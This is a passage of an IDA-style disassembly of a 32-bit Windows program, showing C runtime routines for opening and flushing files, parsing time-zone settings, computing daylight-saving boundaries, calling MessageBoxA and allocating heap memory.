sub_417719+38j ; sub_417719+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_417790 ; --------------------------------------------------------------------------- loc_41777C: ; CODE XREF: sub_417719+Cj ; sub_417719+2Aj ... and dword_4BA288, 0 mov dword_4BA284, 9 or eax, 0FFFFFFFFh loc_417790: ; CODE XREF: sub_417719+61j pop edi pop esi retn sub_417719 endp ; =============== S U B R O U T I N E ======================================= sub_417793 proc near ; CODE XREF: sub_414EFB+32p ; sub_414EFB+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4BB8C0 jnb short loc_4177BB mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4BB7C0[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_4177BB mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_4177BB: ; CODE XREF: sub_417793+Aj ; sub_417793+23j and dword_4BA288, 0 mov dword_4BA284, 9 or eax, 0FFFFFFFFh retn sub_417793 endp ; =============== S U B R O U T I N E ======================================= sub_4177D0 proc near ; CODE XREF: sub_414FD9+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4BB8C0 jnb short loc_417819 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4BB7C0[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_417819 push eax call sub_417793 pop ecx push eax call dword_41A014 ; FlushFileBuffers test eax, eax jnz short loc_41780E call dword_41A07C ; RtlGetLastWin32Error jmp short loc_417810 ; --------------------------------------------------------------------------- loc_41780E: ; CODE XREF: sub_4177D0+34j xor eax, eax loc_417810: ; CODE XREF: sub_4177D0+3Cj test eax, eax jz short locret_417826 mov dword_4BA288, eax loc_417819: ; CODE XREF: sub_4177D0+Aj ; sub_4177D0+22j mov dword_4BA284, 9 or eax, 0FFFFFFFFh locret_417826: ; CODE XREF: sub_4177D0+42j retn sub_4177D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417827 proc near ; CODE XREF: sub_4155FA+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_41784D mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_417858 ; --------------------------------------------------------------------------- loc_41784D: ; CODE XREF: sub_417827+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_417858: ; CODE XREF: sub_417827+24j mov eax, 8000h test ecx, eax jnz short loc_417872 test ch, 40h jnz short loc_41786E cmp dword_4BA564, eax jz short loc_417872 loc_41786E: ; CODE XREF: sub_417827+3Dj or [ebp+var_1], 80h loc_417872: ; CODE XREF: sub_417827+38j ; sub_417827+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_4178AA dec eax jz short loc_4178A1 dec eax jz short loc_417898 loc_417883: ; CODE XREF: sub_417827+9Fj ; sub_417827+E8j ... mov dword_4BA284, 16h mov dword_4BA288, ebx jmp loc_417ABD ; --------------------------------------------------------------------------- loc_417898: ; CODE XREF: sub_417827+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_4178B1 ; --------------------------------------------------------------------------- loc_4178A1: ; CODE XREF: sub_417827+57j mov [ebp+var_C], 40000000h jmp short loc_4178B1 ; --------------------------------------------------------------------------- loc_4178AA: ; CODE XREF: sub_417827+54j mov [ebp+var_C], 80000000h loc_4178B1: ; CODE XREF: sub_417827+78j ; sub_417827+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_4178DF cmp eax, 20h jz short loc_4178D6 cmp eax, 30h jz short loc_4178CD cmp eax, 40h jnz short loc_417883 mov [ebp+var_10], esi jmp short loc_4178E2 ; --------------------------------------------------------------------------- loc_4178CD: ; CODE XREF: sub_417827+9Aj mov [ebp+var_10], 2 jmp short loc_4178E2 ; --------------------------------------------------------------------------- loc_4178D6: ; CODE XREF: sub_417827+95j mov [ebp+var_10], 1 jmp short loc_4178E2 ; --------------------------------------------------------------------------- loc_4178DF: ; CODE XREF: sub_417827+90j mov [ebp+var_10], ebx loc_4178E2: ; CODE XREF: sub_417827+A4j ; sub_417827+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_41792C jz short loc_417927 cmp ecx, ebx jz short loc_417927 cmp ecx, edi jz short loc_41791E cmp ecx, 200h jz short loc_417945 cmp ecx, 300h jnz loc_417883 mov [ebp+var_8], 2 jmp short loc_417955 ; --------------------------------------------------------------------------- loc_41791E: ; CODE XREF: sub_417827+D8j mov [ebp+var_8], 4 jmp short loc_417955 ; --------------------------------------------------------------------------- loc_417927: ; CODE XREF: sub_417827+D0j ; sub_417827+D4j mov [ebp+var_8], esi jmp short loc_417955 ; --------------------------------------------------------------------------- loc_41792C: ; CODE XREF: sub_417827+CEj cmp ecx, 500h jz short loc_41794E cmp ecx, 600h jz short loc_417945 cmp ecx, edx jz short loc_41794E jmp loc_417883 ; --------------------------------------------------------------------------- loc_417945: ; CODE XREF: sub_417827+E0j ; sub_417827+113j mov [ebp+var_8], 5 jmp short loc_417955 ; --------------------------------------------------------------------------- loc_41794E: ; CODE XREF: sub_417827+10Bj ; sub_417827+117j mov [ebp+var_8], 1 loc_417955: ; CODE XREF: sub_417827+F5j ; sub_417827+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_417974 mov ecx, dword_4BA28C not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_417974 push 1 pop esi loc_417974: ; CODE XREF: sub_417827+138j ; sub_417827+148j test al, 40h jz short loc_417982 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_417982: ; CODE XREF: sub_417827+14Fj test ah, 10h jz short loc_417989 or esi, edi loc_417989: ; CODE XREF: sub_417827+15Ej test al, 20h jz short loc_417995 or esi, 8000000h jmp short loc_41799F ; --------------------------------------------------------------------------- loc_417995: ; CODE XREF: sub_417827+164j test al, 10h jz short loc_41799F or esi, 10000000h loc_41799F: ; CODE XREF: sub_417827+16Cj ; sub_417827+170j call sub_41760D mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_4179C0 and dword_4BA288, 0 mov dword_4BA284, 18h jmp short loc_4179FE ; --------------------------------------------------------------------------- loc_4179C0: ; CODE XREF: sub_417827+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] call dword_41A074 ; CreateFileA mov esi, eax cmp esi, edi jz short loc_4179F1 push esi call dword_41A170 ; GetFileType test eax, eax jnz short loc_417A05 push esi call dword_41A068 ; CloseHandle loc_4179F1: ; CODE XREF: sub_417827+1B6j call dword_41A07C ; RtlGetLastWin32Error push eax call sub_4175A6 pop ecx loc_4179FE: ; CODE XREF: sub_417827+197j mov eax, edi jmp loc_417ADB ; --------------------------------------------------------------------------- loc_417A05: ; CODE XREF: sub_417827+1C1j cmp eax, 2 jnz short loc_417A10 or [ebp+var_1], 40h jmp short loc_417A19 ; --------------------------------------------------------------------------- loc_417A10: ; CODE XREF: sub_417827+1E1j cmp eax, 3 jnz short loc_417A19 or [ebp+var_1], 8 loc_417A19: ; CODE XREF: sub_417827+1E7j ; sub_417827+1ECj push esi push ebx call sub_4176A2 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4BB7C0h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_417AC2 test al, 80h jz short loc_417AC2 test byte ptr [ebp+arg_4], 2 jz short loc_417AC2 push 2 push 0FFFFFFFFh push ebx call sub_415560 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_417A77 cmp dword_4BA288, 83h jz short loc_417AC2 jmp short loc_417AB6 ; --------------------------------------------------------------------------- loc_417A77: ; CODE XREF: sub_417827+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_4151BF add esp, 0Ch test eax, eax jnz short loc_417AA4 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_417AA4 push [ebp+var_10] push ebx call sub_418C8A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_417AB6 loc_417AA4: ; CODE XREF: sub_417827+265j ; sub_417827+26Bj push 0 push 0 push ebx call sub_415560 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_417AC2 loc_417AB6: ; CODE XREF: sub_417827+24Ej ; sub_417827+27Bj push ebx call sub_414EFB pop ecx loc_417ABD: ; CODE XREF: sub_417827+6Cj or eax, 0FFFFFFFFh jmp short loc_417ADB ; --------------------------------------------------------------------------- loc_417AC2: ; CODE XREF: sub_417827+221j ; sub_417827+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_417AD9 test byte ptr [ebp+arg_4], 8 jz short loc_417AD9 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_417AD9: ; CODE XREF: sub_417827+29Fj ; sub_417827+2A5j mov eax, ebx loc_417ADB: ; CODE XREF: sub_417827+1D9j ; sub_417827+299j pop edi pop esi pop ebx leave retn sub_417827 endp ; =============== S U B R O U T I N E ======================================= sub_417AE0 proc near ; CODE XREF: sub_4157E2:loc_415821p cmp dword_4BA540, 0 jnz short locret_417AF4 call sub_417AF5 inc dword_4BA540 locret_417AF4: ; CODE XREF: sub_417AE0+7j retn sub_417AE0 endp ; =============== S U B R O U T I N E ======================================= sub_417AF5 proc near ; CODE XREF: sub_417AE0+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_4BA488, ebp mov dword_424B20, ebx mov dword_424B10, ebx call sub_418DD0 mov esi, eax pop ecx cmp esi, ebp jnz loc_417C1E push offset dword_4BA490 call dword_41A12C ; GetTimeZoneInformation cmp eax, ebx jz loc_417D4D mov eax, dword_4BA490 mov ecx, dword_4BA4E4 imul eax, 3Ch cmp word_4BA4D6, bp push 1 pop edx mov dword_424A78, eax mov dword_4BA488, edx jz short loc_417B6C mov esi, ecx imul esi, 3Ch add eax, esi mov dword_424A78, eax loc_417B6C: ; CODE XREF: sub_417AF5+69j cmp word_4BA52A, bp jz short loc_417B90 mov eax, dword_4BA538 cmp eax, ebp jz short loc_417B90 sub eax, ecx mov dword_424A7C, edx imul eax, 3Ch mov dword_424A80, eax jmp short loc_417B9C ; --------------------------------------------------------------------------- loc_417B90: ; CODE XREF: sub_417AF5+7Ej ; sub_417AF5+87j mov dword_424A7C, ebp mov dword_424A80, ebp loc_417B9C: ; CODE XREF: sub_417AF5+99j lea eax, [esp+14h+var_4] mov esi, dword_41A058 push eax push ebp push 3Fh mov edi, 220h push off_424B04 push ebx push offset dword_4BA494 push edi push dword_4BA324 call esi ; WideCharToMultiByte test eax, eax jz short loc_417BD9 cmp [esp+14h+var_4], ebp jnz short loc_417BD9 mov eax, off_424B04 and byte ptr [eax+3Fh], 0 jmp short loc_417BE1 ; --------------------------------------------------------------------------- loc_417BD9: ; CODE XREF: sub_417AF5+D1j ; sub_417AF5+D7j mov eax, off_424B04 and byte ptr [eax], 0 loc_417BE1: ; CODE XREF: sub_417AF5+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_424B08 push ebx push offset dword_4BA4E8 push edi push dword_4BA324 call esi ; WideCharToMultiByte test eax, eax jz loc_417D45 cmp [esp+14h+var_4], ebp jnz loc_417D45 mov eax, off_424B08 and byte ptr [eax+3Fh], 0 jmp loc_417D4D ; --------------------------------------------------------------------------- loc_417C1E: ; CODE XREF: sub_417AF5+2Dj cmp byte ptr [esi], 0 jz loc_417D4D mov eax, dword_4BA53C cmp eax, ebp jz short loc_417C41 push eax push esi call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_417D4D loc_417C41: ; CODE XREF: sub_417AF5+139j push dword_4BA53C call sub_40ECAF push esi call sub_40E730 inc eax push eax call sub_40E882 add esp, 0Ch cmp eax, ebp mov dword_4BA53C, eax jz loc_417D4D push esi push eax call sub_40ED20 push 3 push esi push off_424B04 call sub_410090 mov eax, off_424B04 add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_417C96 push 1 inc esi pop edi loc_417C96: ; CODE XREF: sub_417AF5+19Bj push esi call sub_40FADB pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_424A78, ecx loc_417CAD: ; CODE XREF: sub_417AF5+1C7j mov al, [esi] cmp al, 2Bh jz short loc_417CBB cmp al, bl jl short loc_417CBE cmp al, 39h jg short loc_417CBE loc_417CBB: ; CODE XREF: sub_417AF5+1BCj inc esi jmp short loc_417CAD ; --------------------------------------------------------------------------- loc_417CBE: ; CODE XREF: sub_417AF5+1C0j ; sub_417AF5+1C4j cmp byte ptr [esi], 3Ah jnz short loc_417D11 inc esi push esi call sub_40FADB imul eax, 3Ch pop ecx mov ecx, dword_424A78 add ecx, eax mov dword_424A78, ecx loc_417CDC: ; CODE XREF: sub_417AF5+1F2j mov al, [esi] cmp al, bl jl short loc_417CE9 cmp al, 39h jg short loc_417CE9 inc esi jmp short loc_417CDC ; --------------------------------------------------------------------------- loc_417CE9: ; CODE XREF: sub_417AF5+1EBj ; sub_417AF5+1EFj cmp byte ptr [esi], 3Ah jnz short loc_417D11 inc esi push esi call sub_40FADB pop ecx mov ecx, dword_424A78 add ecx, eax mov dword_424A78, ecx loc_417D04: ; CODE XREF: sub_417AF5+21Aj mov al, [esi] cmp al, bl jl short loc_417D11 cmp al, 39h jg short loc_417D11 inc esi jmp short loc_417D04 ; --------------------------------------------------------------------------- loc_417D11: ; CODE XREF: sub_417AF5+1CCj ; sub_417AF5+1F7j ... cmp edi, ebp jz short loc_417D1D neg ecx mov dword_424A78, ecx loc_417D1D: ; CODE XREF: sub_417AF5+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_424A7C, eax jz short loc_417D45 push 3 push esi push off_424B08 call sub_410090 mov eax, off_424B08 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_417D4D ; --------------------------------------------------------------------------- loc_417D45: ; CODE XREF: sub_417AF5+10Bj ; sub_417AF5+115j ... mov eax, off_424B08 and byte ptr [eax], 0 loc_417D4D: ; CODE XREF: sub_417AF5+40j ; sub_417AF5+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_417AF5 endp ; =============== S U B R O U T I N E ======================================= sub_417D53 proc near ; CODE XREF: sub_4157E2+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_424A7C, edi jnz short loc_417D67 loc_417D60: ; CODE XREF: sub_417D53+148j ; sub_417D53+150j ... xor eax, eax jmp loc_417EB3 ; --------------------------------------------------------------------------- loc_417D67: ; CODE XREF: sub_417D53+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_424B10 jnz short loc_417D85 cmp eax, dword_424B20 jz loc_417E87 loc_417D85: ; CODE XREF: sub_417D53+24j cmp dword_4BA488, edi jz loc_417E5D movzx ecx, word_4BA536 push ecx cmp word_4BA528, di movzx ecx, word_4BA534 push ecx movzx ecx, word_4BA532 push ecx movzx ecx, word_4BA530 push ecx jnz short loc_417DD7 movzx ecx, word_4BA52C push edi push ecx movzx ecx, word_4BA52E push ecx movzx ecx, word_4BA52A push ecx push eax push ebx jmp short loc_417DEB ; --------------------------------------------------------------------------- loc_417DD7: ; CODE XREF: sub_417D53+65j movzx ecx, word_4BA52E push ecx push edi movzx ecx, word_4BA52A push edi push ecx push eax push edi loc_417DEB: ; CODE XREF: sub_417D53+82j push ebx call sub_417EFF movzx eax, word_4BA4E2 add esp, 2Ch cmp word_4BA4D4, di push eax movzx eax, word_4BA4E0 push eax movzx eax, word_4BA4DE push eax movzx eax, word_4BA4DC push eax jnz short loc_417E45 movzx eax, word_4BA4D8 push edi push eax movzx eax, word_4BA4DA push eax movzx eax, word_4BA4D6 push eax push dword ptr [esi+14h] push ebx loc_417E3A: ; CODE XREF: sub_417D53+108j push edi call sub_417EFF add esp, 2Ch jmp short loc_417E87 ; --------------------------------------------------------------------------- loc_417E45: ; CODE XREF: sub_417D53+C8j movzx eax, word_4BA4DA push eax push edi movzx eax, word_4BA4D6 push edi push eax push dword ptr [esi+14h] push edi jmp short loc_417E3A ; --------------------------------------------------------------------------- loc_417E5D: ; CODE XREF: sub_417D53+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_417EFF push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_417EFF add esp, 58h loc_417E87: ; CODE XREF: sub_417D53+2Cj ; sub_417D53+F0j mov edx, dword_424B14 mov eax, dword_424B24 mov ecx, [esi+1Ch] cmp edx, eax jge short loc_417EB7 cmp ecx, edx jl loc_417D60 cmp ecx, eax jg loc_417D60 cmp ecx, edx jle short loc_417ECB cmp ecx, eax jge short loc_417ECB loc_417EB1: ; CODE XREF: sub_417D53+166j ; sub_417D53+16Aj mov eax, ebx loc_417EB3: ; CODE XREF: sub_417D53+Fj ; sub_417D53+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_417EB7: ; CODE XREF: sub_417D53+144j cmp ecx, eax jl short loc_417EB1 cmp ecx, edx jg short loc_417EB1 cmp ecx, eax jle short loc_417ECB cmp ecx, edx jl loc_417D60 loc_417ECB: ; CODE XREF: sub_417D53+158j ; sub_417D53+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_417EF2 xor ecx, ecx cmp eax, dword_424B18 setnl cl loc_417EEE: ; CODE XREF: sub_417D53+1AAj mov eax, ecx jmp short loc_417EB3 ; --------------------------------------------------------------------------- loc_417EF2: ; CODE XREF: sub_417D53+18Ej xor ecx, ecx cmp eax, dword_424B28 setl cl jmp short loc_417EEE sub_417D53 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417EFF proc near ; CODE XREF: sub_417D53+99p ; sub_417D53+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_417F9A mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_417F2A shl esi, 2 mov eax, dword_424B28[esi] jmp short loc_417F33 ; --------------------------------------------------------------------------- loc_417F2A: ; CODE XREF: sub_417EFF+1Ej shl esi, 2 mov eax, dword_424B5C[esi] loc_417F33: ; CODE XREF: sub_417EFF+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_417F6D imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_417F77 ; --------------------------------------------------------------------------- loc_417F6D: ; CODE XREF: sub_417EFF+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_417F77: ; CODE XREF: sub_417EFF+6Cj cmp [ebp+arg_10], 5 jnz short loc_417FB5 cmp [ebp+arg_8], 0 jnz short loc_417F8B mov esi, dword_424B2C[esi] jmp short loc_417F91 ; --------------------------------------------------------------------------- loc_417F8B: ; CODE XREF: sub_417EFF+82j mov esi, dword_424B60[esi] loc_417F91: ; CODE XREF: sub_417EFF+8Aj cmp ecx, esi jle short loc_417FB5 sub ecx, 7 jmp short loc_417FB5 ; --------------------------------------------------------------------------- loc_417F9A: ; CODE XREF: sub_417EFF+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_417FAB mov ecx, dword_424B28[eax*4] jmp short loc_417FB2 ; --------------------------------------------------------------------------- loc_417FAB: ; CODE XREF: sub_417EFF+A1j mov ecx, dword_424B5C[eax*4] loc_417FB2: ; CODE XREF: sub_417EFF+AAj add ecx, [ebp+arg_18] loc_417FB5: ; CODE XREF: sub_417EFF+7Cj ; sub_417EFF+94j ... cmp [ebp+arg_0], 1 jnz short loc_417FE6 mov eax, [ebp+arg_1C] mov dword_424B14, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_424B10, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_424B18, eax jmp short loc_41803B ; --------------------------------------------------------------------------- loc_417FE6: ; CODE XREF: sub_417EFF+BAj mov eax, [ebp+arg_1C] mov dword_424B24, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_424A80 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_424B28, eax jns short loc_41801E add eax, 5265C00h dec ecx mov dword_424B28, eax jmp short loc_41802F ; --------------------------------------------------------------------------- loc_41801E: ; CODE XREF: sub_417EFF+110j mov edx, 5265C00h cmp eax, edx jl short loc_418035 sub eax, edx inc ecx mov dword_424B28, eax loc_41802F: ; CODE XREF: sub_417EFF+11Dj mov dword_424B24, ecx loc_418035: ; CODE XREF: sub_417EFF+126j mov dword_424B20, ebx loc_41803B: ; CODE XREF: sub_417EFF+E5j pop esi pop ebx pop ebp retn sub_417EFF endp ; =============== S U B R O U T I N E ======================================= sub_41803F proc near ; CODE XREF: sub_41628E+2Bp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_418050 add esp, 0Ch retn sub_41803F endp ; =============== S U B R O U T I N E ======================================= sub_418050 proc near ; CODE XREF: sub_41803F+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4BB6A1[eax], cl jnz short loc_41807D cmp [esp+arg_4], 0 jz short loc_418076 movzx eax, word_42422E[eax*2] and eax, [esp+arg_4] jmp short loc_418078 ; --------------------------------------------------------------------------- loc_418076: ; CODE XREF: sub_418050+16j xor eax, eax loc_418078: ; CODE XREF: sub_418050+24j test eax, eax jnz short loc_41807D retn ; --------------------------------------------------------------------------- loc_41807D: ; CODE XREF: sub_418050+Fj ; sub_418050+2Aj push 1 pop eax retn sub_418050 endp ; =============== S U B R O U T I N E ======================================= sub_418081 proc near ; CODE XREF: sub_416839+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_4BA544, ebx push esi push edi jnz short loc_4180D0 push offset aUser32_dll ; "user32.dll" call dword_41A09C ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_418106 mov esi, dword_41A0A0 push offset aMessageboxa ; "MessageBoxA" push edi call esi ; GetProcAddress test eax, eax mov dword_4BA544, eax jz short loc_418106 push offset aGetactivewindo ; "GetActiveWindow" push edi call esi ; GetProcAddress push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4BA548, eax call esi ; GetProcAddress mov dword_4BA54C, eax loc_4180D0: ; CODE XREF: sub_418081+Bj mov eax, dword_4BA548 test eax, eax jz short loc_4180EF call eax mov ebx, eax test ebx, ebx jz short loc_4180EF mov eax, dword_4BA54C test eax, eax jz short loc_4180EF push ebx call eax mov ebx, eax loc_4180EF: ; CODE XREF: sub_418081+56j ; sub_418081+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_4BA544 loc_418102: ; CODE XREF: sub_418081+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_418106: ; CODE XREF: sub_418081+1Cj ; sub_418081+33j xor eax, eax jmp short loc_418102 sub_418081 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41810A proc near ; CODE XREF: sub_4169F6+22p ; sub_4169F6+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_41812B test esi, esi jnz short loc_418125 push 1 pop esi loc_418125: ; CODE XREF: sub_41810A+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_41812B: ; CODE XREF: sub_41810A+12j ; sub_41810A+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_41818A mov eax, dword_4BB8E4 cmp eax, 3 jnz short loc_418156 mov eax, [ebp+arg_0] cmp eax, dword_4BB8DC ja short loc_418175 push eax call sub_411B43 mov edi, eax pop ecx test edi, edi jnz short loc_4181A0 jmp short loc_418175 ; --------------------------------------------------------------------------- loc_418156: ; CODE XREF: sub_41810A+30j cmp eax, 2 jnz short loc_418175 cmp esi, dword_4240CC ja short loc_418175 mov eax, esi shr eax, 4 push eax call sub_4125E6 mov edi, eax pop ecx test edi, edi jnz short loc_4181B4 loc_418175: ; CODE XREF: sub_41810A+3Bj ; sub_41810A+4Aj ... push esi push 8 push dword_4BB8E0 call dword_41A120 ; RtlAllocateHeap mov edi, eax test edi, edi jnz short loc_4181AE loc_41818A: ; CODE XREF: sub_41810A+26j cmp dword_4BA2DC, 0 jz short loc_4181AE push esi call sub_4115BA test eax, eax pop ecx jz short loc_4181B7 jmp short loc_41812B ; --------------------------------------------------------------------------- loc_4181A0: ; CODE XREF: sub_41810A+48j push [ebp+arg_0] loc_4181A3: ; CODE XREF: sub_41810A+ABj push 0 push edi call sub_40E800 add esp, 0Ch loc_4181AE: ; CODE XREF: sub_41810A+7Ej ; sub_41810A+87j mov eax, edi loc_4181B0: ; CODE XREF: sub_41810A+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_4181B4: ; CODE XREF: sub_41810A+69j push esi jmp short loc_4181A3 ; --------------------------------------------------------------------------- loc_4181B7: ; CODE XREF: sub_41810A+92j xor eax, eax jmp short loc_4181B0 sub_41810A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_416A9B loc_4181BB: ; CODE XREF: sub_416A9B+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4BB580, esi jle short loc_41820E loc_4181CA: ; CODE XREF: sub_416A9B+1771j mov eax, dword_4BA570 mov eax, [eax+esi*4] test eax, eax jz short loc_418205 test byte ptr [eax+0Ch], 83h jz short loc_4181E9 push eax call sub_40FC04 cmp eax, 0FFFFFFFFh pop ecx jz short loc_4181E9 inc edi loc_4181E9: ; CODE XREF: sub_416A9B+173Fj ; sub_416A9B+174Bj cmp esi, 14h jl short loc_418205 mov eax, dword_4BA570 push dword ptr [eax+esi*4] call sub_40ECAF mov eax, dword_4BA570 pop ecx and dword ptr [eax+esi*4], 0 loc_418205: ; CODE XREF: sub_416A9B+1739j ; sub_416A9B+1751j inc esi cmp esi, dword_4BB580 jl short loc_4181CA loc_41820E: ; CODE XREF: sub_416A9B+172Dj mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_416A9B ; =============== S U B R O U T I N E ======================================= sub_418213 proc near ; CODE XREF: sub_416CC9+2Bp ; sub_416CC9+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_418229 cmp ecx, esi jnb short loc_41822C loc_418229: ; CODE XREF: sub_418213+10j push 1 pop eax loc_41822C: ; CODE XREF: sub_418213+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_418213 endp ; =============== S U B R O U T I N E ======================================= sub_418234 proc near ; CODE XREF: sub_4182ED+40p ; sub_4182ED+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_418213 add esp, 0Ch test eax, eax jz short loc_418266 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_418213 add esp, 0Ch test eax, eax jz short loc_418266 inc dword ptr [esi+8] loc_418266: ; CODE XREF: sub_418234+19j ; sub_418234+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_418213 add esp, 0Ch test eax, eax jz short loc_41827E inc dword ptr [esi+8] loc_41827E: ; CODE XREF: sub_418234+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_418213 add esp, 0Ch pop edi pop esi retn sub_418234 endp ; =============== S U B R O U T I N E ======================================= sub_418292 proc near ; CODE XREF: sub_4182ED+30p ; sub_4182ED+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, 